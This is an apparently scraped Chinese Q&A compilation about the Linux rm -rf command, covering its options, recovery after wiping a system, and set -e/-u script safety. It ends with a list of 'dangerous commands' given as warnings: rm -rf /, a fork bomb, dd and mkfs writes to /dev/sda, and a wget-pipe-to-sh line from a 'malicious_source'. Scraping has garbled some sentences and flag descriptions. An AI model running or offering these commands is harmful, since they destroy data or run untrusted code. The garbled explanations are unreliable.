导航:首页 > 程序命令 > linux命令rmrf

linux命令rmrf

发布时间:2023-05-15 12:47:51

linux删除命令rm -rf(linux删除命令行)

1、linux删除命令行按哪个键。

2、Linux删除命令。

3、linux删除命令rm -rf。

4、linux删除命令操作。

1."linux删除命令,为您提供linux删除命令图文信息,linux删除命令一共有以下几种:常规删除a.txt文件:[root]#rma.txt。

2.强行删除file.log文件:[root]#rm-ffile.log。

3.删除dirname目录下的所有东西:[root]#rm-Rdirdirname。

② linux删除命令是什么

linux删除命令rm-rf命令。具体详情:

1、rm命令在Linux下通常用来删除文件。

2、rm-r命令递归的删除文件夹,甚至是空的文件夹。

3、rm-f命令能不经过询问直接删除‘只读文件’。Linux下删慎知除文件并不在乎该文件是否是只读的,而只是在意其父目录是否宽腊消有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发局凳行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。

4、rm-rf/:强制删除根目录下所有东西。

5、rm-rf*:强制删除当前目录的所有文件。

6、rm-rf.:强制删除当前文件夹及其子文件夹。

③ rm-rf命令删除多个文件

答,linux中rm命令可以删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉。对于链接文件,只是删除整个链接文件,而原有文件保持不变。

参数

rm (选项)(参数)

-i 删除的时候会提示是否确认删除,一次删除多个文件则每一个文件都会提醒

-I 一次删除多个文件(大于三个),提示消息只提示一次

-r 递归删除,用于删除目录:

-d 用于删除空目录,如果目录不为空,则无法删除

-f 强制删除,不弹出任何提示,慎用

实例

1. 删除当前目录下除隐含文件外的所有文件和子目录

rm -r * //这样删除数据做是非常危险的

2. 交互模式下删除文件

rm -i test.trc

rm: remove regular file `test.trc'? y //输入y删除文件 n不删除文件

removed `test.trc'

3. 递归删除某个目录下文件以及子目录

rm -rf tomcat/ //删除tomcat下所有的文件及子目录

4. 删除当前目录下的所有trc文件类型的文件

rm -v *.trc

5. 删除当前目录下所有.bin目录,删除前逐一询问确认

rm -i *.bin

Linux系统没有回收站,rm删除就永远找不到了,删除的时候,最好用绝对路径,比较保险。

④ 在linux中"rm .rf* "命令是做什么的

“rm”命令用来删除不需要的文件。该命令的功能为删除一个目录中的一个或多个文件或目录,它也可以将某个目录及其下的所有文件及子目录均删除。对于链接文件,只是断开了链接,原文件保持不变。

“rm”命令的一般形式为:

“rm [选项] 文件名? ”

如果没有使用“- r”选项,则rm不会删除目录。

该命令的各选项含义如下:

使用rm命令要小心。因为一旦文件被删除,它是不能被恢复的。为了防止这种情况的发生,可以使用“i”选项来逐个确认要删除的文件。如果用户输入“y”,文件将被删除。

参考资料:linux命令大全;网络:linux shell

⑤ linux系统rm -rf/*怎么恢复可以重做系统么

1、执行删除命令前,系统运行良好,且操作正常,如下图所示:



4、强制关机后,重新启动系统,如下图所示已经报异常了,无法正常进入系统,此时只有进行重装系统了。



总结:

1.有点遗憾删除结束后没法再使用df、ls这些命令,所以没办法看出还剩哪些文件。不过从上面的结果来看,连基础命令都执行不了,所以用户数据(如安装的软件、部署的网站、数据库等)肯定也都全删没了。


2.因此平时操作的过程中要养成良好的习惯,尽量不要用rm命令,可以用mv命令来代替。比如要删掉a.txt,可以执行mv a.txt /mytemp ,然后再写个脚本定时清除/mytemp目录下的文件,这样会安全很多。

⑥ Linux篇:从rm -rf 引发的脚本安全闲聊(set 命令)

上周刚经历了一个“删库跑路”的惨重事件,不知哪位无邪的童鞋把Confluence 的数据存储目录 /var 清空了,结果群众的怒火燃烧上了天空

这次结合自己的一些思考来记录一些有关脚本安全的点

先来看一个简单的案例

在用户主目录下创建safe目录及相关文件用于测试演示

假如写一段脚本删除safe目录下所有文件:

这段是不是看起来没有问题,但如果由于有些大心脏的同学粗心,写成下面这样

最终,脚本都变成了rm   -rf    *   ,可怕至极

其实在shell脚本当中,为了防止这种现象,我们可以借助set 命令来实现相关控制

关于set 命令有较多参数,这里介绍最常用的几个

我们以刚才图4那段有问题的脚本说事

为保证不错删东西 ,我们加一个set -u 选项 ,判断变量是否存在

我们执行一下,看看效果

看,报错啦,dir这个变量没有声明,ls 查看一下文件,发现都还存在

set -e  与set -u 通常搭配在一起使用

一个是遇到错误退出,一个是发现空变量报错

这两个搭配在一起放在脚本里可以防止一些变量为空导致文件全被清空的问题

拓展一下:

如果只想应用在脚本的某一段中,那么

开始段落前加set -e 表示范围开始

结束段落后加 set +e 表示范围结束

set -x 与set + x同理。

1、删文件其实不用rm -rf ,不是受迫性需要,不要使用rm -rf 

2、修改、删除系统文件或其他重要的东西,先备份一份

3、非特殊需要,不建议在root下操作,普通用户即可

4、脚本加上set -e 与set -u保证安全

⑦ LINUX系统有哪些危险命令

这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式,仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹,甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/:强制删除根目录下所有东西
rm-rf/*:强制删除当前目录的所有文件
rm-rf.:强制删除当前文件夹及其子文件
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为':'的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 >/dev/sda
上列命令会将某个'命令'的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个'文件夹'到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
5、wget http://malicious_source -O- | sh
上面这个命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会执行下载下来的脚本。
温馨提示:你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备'sda',你无疑知道在执行上列命令后你的块设备会被格式化,崭新的。没有任何数据,直接让你的系统达到不可恢复的阶段。
7、> file
上面命令常用来清空文件内容,如果用上列执行时输入错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然,你的系统可能陷入混乱和不可恢复的状态。

⑧ 关于对linux命令rm -rf 的理解

rm -rf * 这个命令的意思是:删除当前目录下的所有文件.
一般情况下用不到这个命令,而且这个命令很危险,如果一旦执行,会删除当前目录下所有的文件,而且不能够恢复.因此,应避免使用。

rm 命令 可以删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉。对于链接文件,只是删除整个链接文件,而原有文件保持不变。

注意:使用rm命令要格外小心。因为一旦删除了一个文件,就无法再恢复它。所以,在删除文件之前,最好再看一下文件的内容,确定是否真要删除。rm命令可以用-i选项,这个选项在使用文件扩展名字符删除多个文件时特别有用。使用这个选项,系统会要求你逐一确定是否要删除。这时,必须输入y并按Enter键,才能删除文件。如果仅按Enter键或其他字符,文件不会被删除。

rm (选项)(参数)

文件:指定被删除的文件列表,如果参数中含有目录,则必须加上 -r 或者 -R 选项。

交互式删除当前目录下的文件 test 和example

rm -i test example
Remove test ?n(不删除文件test)
Remove example ?y(删除文件example)</pre>

删除当前目录下除隐含文件外的所有文件和子目录

应注意,这样做是非常危险的!

阅读全文

与linux命令rmrf相关的资料

热点内容
python符号表达式 浏览:32
威驰压缩机继电器 浏览:869
华为手机怎么设置移动数据app 浏览:957
空调压缩机哪的厂家多 浏览:388
手指速算法24加7怎么算 浏览:137
如何用python写vlookup函数 浏览:796
社保加密狗厂商 浏览:214
php编译运行说法 浏览:955
程序员说喂 浏览:256
抖音直播云服务器 浏览:627
一加7pro文件夹data 浏览:424
程序员淋雨 浏览:965
python输出数字序列中的空格 浏览:78
怎么将pdf文件大小 浏览:734
氧原子相对分子量算法 浏览:988
加密机为什么是安全的 浏览:451
单片机拼音输入法 浏览:807
苹果笔记本t2加密芯片怎么打开 浏览:797
安卓如何把手机投屏至电视 浏览:759
方舟编译器现在可提速哪些软件 浏览:61